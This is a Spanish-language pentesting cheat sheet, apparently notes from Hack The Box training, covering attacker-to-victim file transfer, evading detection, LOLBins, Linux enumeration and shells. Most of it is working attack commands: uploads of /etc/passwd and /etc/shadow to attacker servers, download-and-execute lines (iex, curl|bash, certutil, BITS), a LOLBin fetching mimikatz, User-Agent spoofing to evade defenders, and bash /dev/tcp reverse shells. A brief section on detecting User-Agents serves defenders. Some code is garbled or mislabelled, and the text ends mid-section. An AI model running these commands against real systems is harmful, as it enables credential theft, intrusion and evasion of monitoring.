Create Nginx Configuration File

Cree el archivo de configuración de Nginx creando el archivo /etc/nginx/sites-available/upload.conf con el contenido:

server {
    listen 9001;
    
    location /SecretUploadDirectory/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}

Symlink our Site to the sites-enabled Directory

gzzcoo@htb[/htb]$ sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/

Start Nginx

gzzcoo@htb[/htb]$ sudo systemctl restart nginx.service

Remove NginxDefault Configuration

gzzcoo@htb[/htb]$ sudo rm /etc/nginx/sites-enabled/default

Ahora podemos probar la carga usando cURL para enviar una solicitud PUT. En el siguiente ejemplo, subiremos el archivo /etc/passwd al servidor y lo llamaremos users.txt.

Upload File Using cURL

VICTIM

C:\gzzcoo> curl -T "C:\Windows\System32\drivers\etc\hosts" http://<ATTACKER_IP>:9001/SecretUploadDirectory/hosts.txt

ATTACKER

gzzcoo@htb[/htb]$ sudo tail -1 /var/www/uploads/SecretUploadDirectory/hosts.txt 

#	::1             localhost

Una vez que esto funcione, una buena prueba es asegurarnos de que el listado de directorios no esté habilitado navegando a http://localhost/SecretUploadDirectory. Por defecto, con Apache, si encontramos un directorio sin un archivo de índice (index.html), listará todos los archivos. Esto es perjudicial para nuestro caso de exfilling de archivos, ya que la mayoría son sensibles por naturaleza y queremos hacer todo lo posible por ocultarlos. Gracias a que Nginx es minimalista, estas funciones no están habilitadas por defecto.

Detection and Evading Detection

Detection

La detección de comandos en línea basada en listas negras es fácil de evadir, incluso usando una simple ofuscación con mayúsculas y minúsculas. Sin embargo, aunque crear una lista blanca de todos los comandos permitidos en un entorno puede llevar tiempo al principio, es una solución muy robusta que permite detectar y alertar rápidamente sobre comandos inusuales.

La mayoría de los protocolos cliente-servidor requieren que el cliente y el servidor negocien cómo se entregará el contenido antes de intercambiar información. Esto es común en el protocolo HTTP. Existe la necesidad de interoperabilidad entre diferentes servidores web y navegadores para asegurar que los usuarios tengan la misma experiencia sin importar el navegador que usen. Los clientes HTTP suelen identificarse por su cadena User-Agent, que el servidor usa para saber qué cliente se está conectando, por ejemplo, Firefox, Chrome, etc.

Los User-Agent no solo se usan para identificar navegadores web, sino que cualquier cosa que actúe como cliente HTTP y se conecte a un servidor puede tener su propia cadena User-Agent (por ejemplo, cURL, un script en Python, o herramientas como sqlmap o Nmap).

Las organizaciones pueden tomar algunas medidas para identificar posibles cadenas de User-Agent sospechosas, comenzando por crear una lista de User-Agent legítimos conocidos, los que usan por defecto los procesos del sistema operativo, los que usan los servicios de actualización como Windows Update, actualizaciones de antivirus, etc. Estas listas pueden incorporarse a herramientas SIEM para hacer threat hunting, filtrar el tráfico legítimo y centrarse en las anomalías que podrían indicar actividad sospechosa. Cualquier User-Agent sospechoso puede ser investigado más a fondo para ver si se usó para llevar a cabo acciones maliciosas. Esta página sirve para identificar cadenas de User-Agent comunes. Aquí se puede consultar una lista de User-Agent.

Las transferencias de archivos maliciosas también pueden detectarse a través de su User-Agent. A continuación, se muestran los User-Agent y cabeceras observadas en técnicas comunes de transferencia HTTP (probado en Windows 10, versión 10.0.14393, con PowerShell 5).

Invoke-WebRequest - Client

PS C:\htb> Invoke-WebRequest http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe" 
PS C:\htb> Invoke-RestMethod http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"

Invoke-WebRequest - Server

GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0

WinHttpRequest - Client

PS C:\htb> $h=new-object -com WinHttp.WinHttpRequest.5.1;
PS C:\htb> $h.open('GET','http://10.10.10.32/nc.exe',$false);
PS C:\htb> $h.send();
PS C:\htb> iex $h.ResponseText

WinHttpRequest - Server

GET /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Msxml2 - Client

PS C:\htb> $h=New-Object -ComObject Msxml2.XMLHTTP;
PS C:\htb> $h.open('GET','http://10.10.10.32/nc.exe',$false);
PS C:\htb> $h.send();
PS C:\htb> iex $h.responseText

Msxml2 - Server

GET /nc.exe HTTP/1.1
Accept: */*
Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)

Certutil - Client

C:\htb> certutil -urlcache -split -f http://10.10.10.32/nc.exe 
C:\htb> certutil -verifyctl -split -f http://10.10.10.32/nc.exe

Certutil - Server

GET /nc.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/10.0

BITS - Client

PS C:\htb> Import-Module bitstransfer;
PS C:\htb> Start-BitsTransfer 'http://10.10.10.32/nc.exe' $env:temp\t;
PS C:\htb> $r=gc $env:temp\t;
PS C:\htb> rm $env:temp\t; 
PS C:\htb> iex $r

BITS - Server

HEAD /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.8

Esta sección apenas comienza con la detección de transferencias de archivos maliciosas. Sería un excelente punto de partida para cualquier organización crear una lista blanca de binarios permitidos o una lista negra de binarios que se sabe que se utilizan con fines maliciosos. Además, la búsqueda de cadenas de agente de usuario anómalas puede ser una excelente manera de detectar un ataque en curso. Abordaremos las técnicas de búsqueda y detección de amenazas en profundidad en módulos posteriores.

Evading Detection

Changing User Agent

Si los administradores o defensores han bloqueado alguno de estos User-Agent, el comando Invoke-WebRequest tiene un parámetro llamado -UserAgent que permite cambiar el valor por defecto. Podemos poner uno que imite a Internet Explorer, Firefox, Chrome, Opera o Safari.

Por ejemplo, si en la red del cliente todo el tráfico web pasa por Chrome, usar ese User-Agent puede hacer que la petición parezca legítima y así pasar más desapercibidos.

Listing out User Agents

PS C:\Users\gzzcoo> [Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl


Name       : InternetExplorer
User Agent : Mozilla/5.0 (compatible; MSIE 9.0; Windows NT; Windows NT 10.0; es-ES)

Name       : FireFox
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) Gecko/20100401 Firefox/4.0

Name       : Chrome
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0
             Safari/534.6

Name       : Opera
User Agent : Opera/9.70 (Windows NT; Windows NT 10.0; es-ES) Presto/2.2.1

Name       : Safari
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0
             Safari/533.16

Invocar Invoke-WebRequest para descargar nc.exe mediante un agente de usuario de Chrome:

Request with Chrome User Agent

PS C:\gzzcoo> $UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
PS C:\gzzcoo> Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"

gzzcoo@htb[/htb]$ nc -lvnp 80

listening on [any] 80 ...
connect to [10.10.10.32] from (UNKNOWN) [10.10.10.132] 51313
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6
(KHTML, Like Gecko) Chrome/7.0.500.0 Safari/534.6
Host: 10.10.10.32
Connection: Keep-Alive

LOLBAS / GTFOBins

El uso de whitelisting de aplicaciones puede impedirnos ejecutar herramientas como PowerShell o Netcat, y además, el registro de comandos puede alertar a los defensores de nuestra actividad. En estos casos, una opción útil es recurrir a un LOLBIN (Living Off The Land Binary), también conocidos como binarios de confianza mal ubicada.

Un ejemplo de LOLBIN es el GfxDownloadWrapper.exe, que forma parte de los drivers de gráficos de Intel en Windows 10. Este binario ya viene instalado en algunos sistemas y tiene la capacidad de descargar archivos de configuración de forma periódica. Podemos aprovechar esa funcionalidad para descargar archivos de forma encubierta con un simple comando como:

Transferring File with GfxDownloadWrapper.exe

PS C:\htb> GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"

Ese tipo de binario (como GfxDownloadWrapper.exe) puede estar permitido por las políticas de whitelisting y además no generar alertas, ya que es legítimo y forma parte del sistema.

Existen otros binarios aún más comunes que se pueden aprovechar, y por eso vale la pena revisar el proyecto LOLBAS, donde se recopilan binarios legítimos de Windows que pueden ser usados para descargar archivos, ejecutar comandos, etc.

En Linux, el equivalente es el proyecto GTFOBins, que también merece la pena revisar. A día de hoy, GTFOBins documenta casi 40 binarios comunes que pueden usarse para transferencias de archivos y otras acciones útiles en post-explotación o evasión.

PowerShell

Running Commands as Another User with ScriptBlock

Crear objeto para jugar con ScriptBlock con las credenciales de otro usuario en otro equipo.

$SecPassword = ConvertTo-SecureString 'Password' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('domain\user',$SecPassword)

Invoke-Command -ComputerName computer -Credential $Cred -ScriptBlock { whoami }

Encode a file with Base64 to transfer original file

# Desde el equipo victima convertimos el archivo 'file.bin' que no es legible a Base64
powershell -c "[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))"

[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))

# Desde el equipo atacante, descodificamos el contenido y obtenemos el archivo original. Nos hemos pasado el archivo solamente codificando en Base64.
echo '<BASE64_CODE>' | base64 -d > file.bin

PowerShell History commands

type $env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

LINUX PENTESTING

Basic Enumeration

Sudoers Privileges

sudo -l

SUID

find / -perm -4000 2>/dev/null

Variables de entorno

env

Puertos internos

netstat -ano | grep LISTEN

ss -tuln

Grupos

id

Versión del Kernel

uname -a

Capabilities

getcap -r / 2>/dev/null

File Transfer

Protected File Transfers

Durante una auditoría, muchas veces tenemos acceso a información sensible como listas de usuarios, credenciales (por ejemplo, al descargar el archivo NTDS.dit para crackeo offline), datos de enumeración que revelan detalles clave de la infraestructura de red o del entorno de Active Directory, entre otros. Por eso, es fundamental cifrar esa información o usar conexiones seguras como SSH, SFTP o HTTPS siempre que sea posible.

Sin embargo, a veces no tenemos acceso a esos canales cifrados y toca buscar otra forma de proteger los datos. En esos casos, cifrar los archivos antes de transferirlos es una buena práctica para evitar que puedan ser leídos si son interceptados.

File Encryption on Linux (OpenSSL)

Verify correct file content after transfer

❯ md5sum <file_name>
e7f7d2522cc7fdec3e6cc2c1e2f20819  <file_name>

Download Operations

Base64 Encoding / Decoding

ATTACKER

cat archivo.txt | base64 -w0; echo

VICTIM

echo -n '<BASE64_CODE>' | base64 -d > archivo.txt

nc && /dev/tcp

VICTIM

nc -nlvp 443 > archivo.txt

ATTACKER

# En caso de disponer de bash
cat archivo.txt > /dev/tcp/10.10.x.x/443
# En caso de disponer zsh o otra shell
bash -c 'cat archivo.txt > /dev/tcp/10.10.x.x/443'

Netcat/nc

VICTIM

nc -nlvp 443 > archivo.txt

ATTACKER

nc -w 3 10.10.x.x 443 < archivo.txt

Wget

ATTACKER

python3 -m http.server 80

VICTIM

# Descargar archivo indicando HTTP, parámetro -o para indicar ruta donde almacenar el archivo, en caso de no indicar se almacena en el directorio actual
wget http://10.10.x.x/archivo.txt
wget http://10.10.x.x/archivo.txt -o /tmp/archivo.txt

# Descargar archivo desde la IP directamente, parámetro -o para indicar ruta donde almacenar el archivo, en caso de no indicar se almacena en el directorio actualV
wget 10.10.x.x/archivo.txt
wget 10.10.x.x/archivo.txt -o /tmp/archivo.txt

Curl

ATTACKER

python3 -m http.server 80

VICTIM

# Descargar archivo indicando HTTP, parámetro -o para indicar ruta donde almacenar el archivo, en caso de no indicar se almacena en el directorio actual
curl http://10.10.x.x/archivo.txt
curl http://10.10.x.x/archivo.txt -o /tmp/archivo.txt

# Descargar archivo desde la IP directamente, parámetro -o para indicar ruta donde almacenar el archivo, en caso de no indicar se almacena en el directorio actualV
curl 10.10.x.x/archivo.txt
curl 10.10.x.x/archivo.txt -o /tmp/archivo.txt

Fileless Attacks Using Linux

Debido a la forma en que funciona Linux y cómo operan las tuberías (pipes), la mayoría de las herramientas que usamos en Linux pueden ser utilizadas para replicar operaciones sin archivos, lo que significa que no necesitamos descargar un archivo para ejecutarlo.

Nota: Algunos payloads, como mkfifo, escriben archivos en el disco. Ten en cuenta que, aunque la ejecución del payload pueda ser sin archivos cuando usas una tubería, dependiendo del payload elegido, puede crear archivos temporales en el sistema operativo.

Tomemos el comando cURL que usamos, y en lugar de descargar LinEnum.sh, lo ejecutaremos directamente utilizando una tubería.

Fileless Download with cURL

VICTIM

curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

Fileless Download with wget

VICTIM

wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
Hello World!

Download with Bash (/dev/tcp)

También puede haber situaciones en las que ninguna de las herramientas de transferencia de archivos más conocidas esté disponible. Siempre y cuando se tenga instalada una versión de Bash 2.04 o superior (compilada con --enable-net-redirections), se puede utilizar el archivo de dispositivo incorporado /dev/TCP para realizar descargas simples de archivos.

Connect to the Target Webserver

ATTACKER

python3 -m http.server 80

VICTIM

exec 3<>/dev/tcp/10.10.10.32/80

HTTP GET Request

VICTIM

echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3

Print the Response

VICTIM

cat <&3

SSH Downloads

SSH (o Secure Shell) es un protocolo que permite el acceso seguro a computadoras remotas. La implementación de SSH incluye una utilidad SCP para la transferencia remota de archivos que, por defecto, utiliza el protocolo SSH.

SCP (secure copy) es una utilidad de línea de comandos que permite copiar archivos y directorios entre dos hosts de manera segura. Podemos copiar nuestros archivos desde la máquina local a servidores remotos y desde servidores remotos a nuestra máquina local.

SCP es muy similar al comando cp o copy, pero en lugar de proporcionar una ruta local, necesitamos especificar un nombre de usuario, la dirección IP remota o el nombre DNS, y las credenciales del usuario.

Enabling and Starting the SSH Server

ATTACKER

sudo systemctl enable ssh
sudo systemctl start ssh

Checking for SSH Listening Port

ATTACKER

❯ netstat -lnpt
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -

Ahora podemos comenzar a transferir archivos.

Linux - Downloading Files Using SCP

VICTIM

# Copiar el archivo /etc/passwd de la máquina atacante a la máquina víctima con SSH/SCP en el directorio actual
scp user@10.10.x.x:/etc/passwd .

# Copiar el archivo /etc/passwd de la máquina atacante a la máquina víctima con SSH/SCP en el directorio /tmp con el nombre "passwd"
scp user@10.10.x.x:/etc/passwd /tmp/passwd

Nota: Puedes crear una cuenta de usuario temporal para transferencias de archivos y evitar usar tus credenciales principales o claves en un ordenador remoto.

Download Operations using Python

Python es un lenguaje de programación muy popular. Actualmente, se admite la versión 3, pero es posible que encontremos servidores en los que aún exista la versión 2.7 de Python. Python puede ejecutar comandos de una sola línea desde una línea de comandos del sistema operativo utilizando la opción -c. Veamos algunos ejemplos:

Python2

python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

Python3

python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

Download Operations using PHP

En el siguiente ejemplo, utilizaremos el módulo PHP file_get_contents() para descargar contenido de un sitio web combinado con el módulo file_put_contents() para guardar el archivo en un directorio. PHP se puede utilizar para ejecutar comandos de una sola línea desde una línea de comandos del sistema operativo utilizando la opción -r.

PHP Download with File_get_contents()

php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

Una alternativa a file_get_contents() y file_put_contents() es el módulo fopen(). Podemos utilizar este módulo para abrir una URL, leer su contenido y guardarlo en un archivo.

PHP Download with Fopen()

php -r 'const BUFFER = 1024; $fremote = 
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

También podemos enviar el contenido descargado a una tubería, similar al ejemplo sin archivos que ejecutamos en la sección anterior usando cURL y wget.

PHP Download a File and Pipe it to Bash

php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Nota: La URL se puede utilizar como nombre de archivo con la función @file si se han habilitado los contenedores fopen.

Download Operations using Ruby

Ruby - Download a File

ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'

Download Operations using Perl

Perl - Download a File

perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'

Upload Operations

nc && /dev/tcp

ATTACKER

nc -nlvp 443 > archivo.txt

ATTACKER

# En caso de disponer de bash
cat archivo.txt > /dev/tcp/10.10.x.x/443
# En caso de disponer zsh o otra shell
bash -c 'cat archivo.txt > /dev/tcp/10.10.x.x/443'

Base64 Encoding / Decoding

VICTIM

cat archivo.txt | base64 -w0; echo

ATTACKER

echo -n '<BASE64_CODE>' | base64 -d > archivo.txt

Web Upload

Como se mencionó en la sección de File Transfer en Windows, podemos usar uploadserver, un módulo extendido del módulo Python HTTP.Server, que incluye una página de carga de archivos. Para este ejemplo en Linux, veamos cómo podemos configurar el módulo uploadserver para usar HTTPS y así asegurar la comunicación.

Lo primero que necesitamos hacer es instalar el módulo uploadserver.

Start Web Server

ATTACKER

sudo python3 -m pip install --user uploadserver

Ahora necesitamos crear un certificado. En este ejemplo, estamos utilizando un certificado autofirmado.

Create a Self-Signed Certificate

ATTACKER

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

Start Web Server

ATTACKER

mkdir https && cd https

python3 -m uploadserver 443 --server-certificate ../server.pem

Linux - Upload Multiple Files

VICTIM

curl -X POST https://10.10.x.x/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow--insecure

Utilizamos la opción --insecure porque usamos un certificado autofirmado en el que confiamos.

Web Upload without certificate

ATTACKER

❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

VICTIM

curl -X POST http://10.10.16.11:8000/upload -F 'files=@/etc/passwd'

curl -X POST http://10.10.16.11:8000/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow'

Alternative Web File Transfer Method

Dado que las distribuciones de Linux suelen tener Python o PHP instalados, iniciar un servidor web para transferir archivos es muy sencillo. Además, si el servidor que hemos comprometido es un servidor web, podemos mover los archivos que queremos transferir al directorio del servidor web y acceder a ellos desde la página web.

Es posible configurar un servidor web usando varios lenguajes. Una máquina Linux comprometida puede no tener un servidor web instalado. En tales casos, podemos usar un servidor web miniatura. Lo que quizás les falte en seguridad, lo compensan con flexibilidad, ya que la ubicación del webroot y los puertos de escucha se pueden cambiar rápidamente.

Linux - Creating a Web Server with Python3

VICTIM

python3 -m http.server

Linux - Creating a Web Server with Python2.7

VICTIM

python2.7 -m SimpleHTTPServer

Linux - Creating a Web Server with PHP

VICTIM

php -S 0.0.0.0:8000V

Linux - Creating a Web Server with Ruby

VICTIM

ruby -run -ehttpd . -p8000

Download the File from the Target Machine

ATTACKER

wget 10.10.x.x:8000/filetrotransfer.txt

curl 10.10.x.x:8000/filetrotransfer.txt -o filetotransfer.txt

Nota: Cuando iniciamos un nuevo servidor web usando Python o PHP, es importante tener en cuenta que el tráfico entrante puede estar bloqueado. Estamos transfiriendo un archivo desde nuestro objetivo a nuestro host de ataque, pero no estamos subiendo el archivo.

SCP Upload

Es posible que encontremos algunas empresas que permitan el protocolo SSH (TCP/22) para conexiones salientes, y si ese es el caso, podemos usar un servidor SSH con la utilidad scp para subir archivos. Intentemos subir un archivo a la máquina objetivo utilizando el protocolo SSH.

File Upload using SCP

scp /etc/passwd user@10.10.x.x:/home/gzzcoo/

Nota: Recuerda que la sintaxis de scp es similar a la de cp o copy.

Upload Operations using Python3

Si queremos subir un archivo, necesitamos entender las funciones de un lenguaje de programación en particular para realizar la operación de subida. El módulo de solicitudes de Python3 permite enviar solicitudes HTTP (GET, POST, PUT, etc.) mediante Python. Podemos utilizar el siguiente código si queremos subir un archivo a nuestro servidor de subida de Python3.

Starting the Python uploadserver Module

ATTACKER

❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Uploading a File Using a Python One-liner

python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'

Dividamos esta línea en varias líneas para comprender mejor cada parte.

Uploading a File Using a Python Script

upload.py

 To use the requests function, we need to import the module first.
import requests 

# Define the target URL where we will upload the file.
URL = "http://192.168.187.128:8000/upload"

# Define the file we want to read, open it and save it in a variable.
file = open("/etc/passwd","rb")

# Use a requests POST request to upload the file. 
r = requests.post(URL,files={"files":file})

python3 upload.py

Upload Operations using PHP

Starting the Python uploadserver Module

ATTACKER

❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Uploading a File Using a PHP One-liner

php -r '$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://192.168.187.128:8000/upload"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, ["files" => new CURLFile("/etc/passwd")]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo $response;'

Dividamos esta línea en varias líneas para comprender mejor cada parte.

Uploading a File Using a PHP Script

upload.php

<?php
$target_url = "http://192.168.187.128:8000/upload";
$file_path = "/etc/passwd";

// Inicializar cURL
$ch = curl_init();

// Configurar la solicitud POST con el archivo
$cfile = new CURLFile($file_path);
$post_data = ["files" => $cfile];

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Ejecutar la solicitud
$response = curl_exec($ch);

// Cerrar cURL
curl_close($ch);

// Mostrar la respuesta del servidor
echo $response;
?>

php upload.php

Upload Operations using Ruby

Starting the Python uploadserver Module

ATTACKER

❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Uploading a File Using a Ruby One-liner

ES POSIBLE QUE SE NECESITE INSTALAR EN EL EQUIPO VÍCTIMA LA SIGUIENTE GEMA QUE NO VIENE POR DEFECTO INSTALADA EN EL SISTEMA.

gem install multipart-post

ruby -e "require 'net/http'; require 'uri'; require 'multipart/post'; url = URI.parse('http://192.168.187.128:8000/upload'); file = File.open('/etc/passwd', 'rb'); request = Net::HTTP::Post.new(url.path); request.set_form([['files', file]], 'multipart/form-data'); response = Net::HTTP.start(url.host, url.port) { |http| http.request(request) }; puts response.body"

Dividamos esta línea en varias líneas para comprender mejor cada parte.

Uploading a File Using a Ruby Script

upload.rb

require 'net/http'
require 'uri'
require 'multipart/post'

url = URI.parse("http://192.168.187.128:8000/upload")
file = File.open("/etc/passwd", "rb")

request = Net::HTTP::Post.new(url.path)
request.set_form([['files', file]], 'multipart/form-data')

response = Net::HTTP.start(url.host, url.port) { |http| http.request(request) }

puts response.body

ruby upload.rb

Upload Operations using Perl

Starting the Python uploadserver Module

ATTACKER

❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Uploading a File Using a Ruby One-liner

perl -e 'use LWP::UserAgent; use HTTP::Request::Common qw(POST); use HTTP::Request; my $url = "http://192.168.187.128:8000/upload"; my $file_path = "/etc/passwd"; my $ua = LWP::UserAgent->new; my $response = $ua->request(POST $url, Content_Type => "multipart/form-data", Content => [ "files" => [ $file_path ] ]); print $response->decoded_content;'

Dividamos esta línea en varias líneas para comprender mejor cada parte.

Uploading a File Using a Perl Script

upload.pl

se LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use HTTP::Request;
use File::Basename;

my $url = 'http://192.168.187.128:8000/upload';
my $file_path = '/etc/passwd';

# Crear un objeto LWP::UserAgent
my $ua = LWP::UserAgent->new;

# Crear una solicitud POST con el archivo
my $response = $ua->request(POST $url,
    Content_Type => 'multipart/form-data',
    Content      => [
        'files' => [ $file_path ]
    ]
);

# Mostrar la respuesta
print $response->decoded_content;

perl upload.pl

Protected File Transfers

File Encryption on Linux

OpenSSL se incluye frecuentemente en distribuciones de Linux, y los administradores de sistemas lo utilizan para generar certificados de seguridad, entre otras tareas. OpenSSL permite enviar archivos al estilo "nc" para cifrarlos.

Para cifrar un archivo con openssl, podemos seleccionar diferentes cifrados; consulte la página del manual de OpenSSL. Usemos -aes256 como ejemplo. También podemos anular el número de iteraciones predeterminado con la opción -iter 100000 y añadir la opción -pbkdf2 para usar el algoritmo de la Función de Password-Based Key Derivation Function 2. Al pulsar Intro, necesitaremos proporcionar una contraseña.

Encrypting /etc/passwd with openssl

gzzcoo@htb[/htb]$ openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc

enter aes-256-cbc encryption password:                                                         
Verifying - enter aes-256-cbc encryption password:

Recuerde usar una contraseña segura y única para evitar ataques de fuerza bruta si alguien no autorizado obtiene el archivo. Para descifrarlo, podemos usar el siguiente comando:

Decrypt passwd.enc with openssl

gzzcoo@htb[/htb]$ openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd                    

enter aes-256-cbc decryption password:

Podemos usar cualquiera de los métodos anteriores para transferir este archivo, pero se recomienda usar un método de transporte seguro como HTTPS, SFTP o SSH.

Shells

Tratamiento de la TTY interactiva

Una vez que tenemos una reverse shell, es vital configurar una TTY interactiva para trabajar de forma cómoda y segura. De esta manera, evitamos cerrar la conexión accidentalmente y ganamos la facilidad de desplazarnos con las flechas o utilizar el tab para autocompletar rutas. El proceso es muy sencillo: solo hay que ajustar la tty siguiendo estos pasos para obtener una sesión más fluida y robusta.

Desde la reverse shell obtenida, script /dev/null -c bash transforma la sesión en una TTY interactiva.

VICTIM

$ script /dev/null -c bash
Script started, file is /dev/null

A continuación, hacemos Ctrl+Z para suspender la Reverse Shell.

VICTIM

www-data@test:/$ ^Z
zsh: suspended  nc -nlvp 443

Desde la reverse shell, con stty raw -echo; fg recuperamos la sesión en primer plano y reset xterm restablece la terminal para una experiencia interactiva óptima.

ATTACKER

❯ stty raw -echo; fg

ATTACKER

[1]  + continued  nc -nlvp 443
                                reset xterm

Exportamos las variables para que la terminal y la shell funcionen correctamente:

export TERM=xterm corrige el valor por defecto de TERM (a veces aparece como "dump") y permite usar atajos de teclado.
export SHELL=bash fuerza a que la shell sea bash.

VICTIM

www-data@test:/$ export TERM=xterm
www-data@test:/$ export SHELL=bash

Desde nuestra máquina revisaremos las dimensiones de nuestra terminal para ajustarlas en la máquina víctima.

ATTACKER

❯ stty size

Desde la máquina configuraremos la terminal con los valores de nuestra terminal. En el caso anterior, como ejemplo nos devolvió 40 filas y 230 columnas, el comando sería el siguiente.

VICTIM

www-data@test:/$ stty rows 40 columns 230

Spawning Interactive Shells

Python

python -c 'import pty; pty.spawn("/bin/sh")'

Perl

perl —e 'exec "/bin/sh";'

perl: exec "/bin/sh";

El comando anterior debe ejecutarse desde un script.

Ruby

exec "/bin/sh"

El comando anterior debe ejecutarse desde un script.

Lua

os.execute('/bin/sh')

El comando anterior debe ejecutarse desde un script.

Awk

awk 'BEGIN {system("/bin/sh")}'

Find

find / -name <file> -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

find . -exec /bin/sh \; -quit

Vim

Vim to Shell

vim -c ':!/bin/sh'

Vim Escape

vim
:set shell=/bin/sh
:shell

Reverse Shell

Desde nuestra máquina configuramos un listener para recibir la conexión inversa. Usando el comando:

nc -nlvp 443

Abrimos el puerto 443, que se asocia normalmente al tráfico HTTPS. De este modo, el firewall podría interpretar la conexión como una solicitud legítima a una página web, lo que ayuda a disimular la actividad. Cuando la máquina víctima se conecta, obtenemos una shell interactiva para ejecutar comandos remotamente.

Bash

/bin/bash -c 'bash -i >& /dev/tcp/10.10.x.x/443 0>&1'

bash -i >& /dev/tcp/10.10.x.x/443 0>&1

/bin/bash -c 'bash -i >& /dev/tcp/10.10.x.x/443 0>&1'

bash -i >& /dev/tcp/10.10.x.x/443 0>&1

/bin/bash -c '0<&196;exec 196<>/dev/tcp/10.10.x.x/443; sh <&196 >&196 2>&196'

0<&196;exec 196<>/dev/tcp/10.10.x.x/443; sh <&196 >&196 2>&196

Curl + Bash

ATTACKER

echo -n '#!/bin/bash \n/bin/bash -c "bash -i >& /dev/tcp/10.10.x.x/443 0>&1"' > shell.sh

python3 -m http.server 80

VICTIM

curl 10.10.x.x/shell.sh|bash

Perl

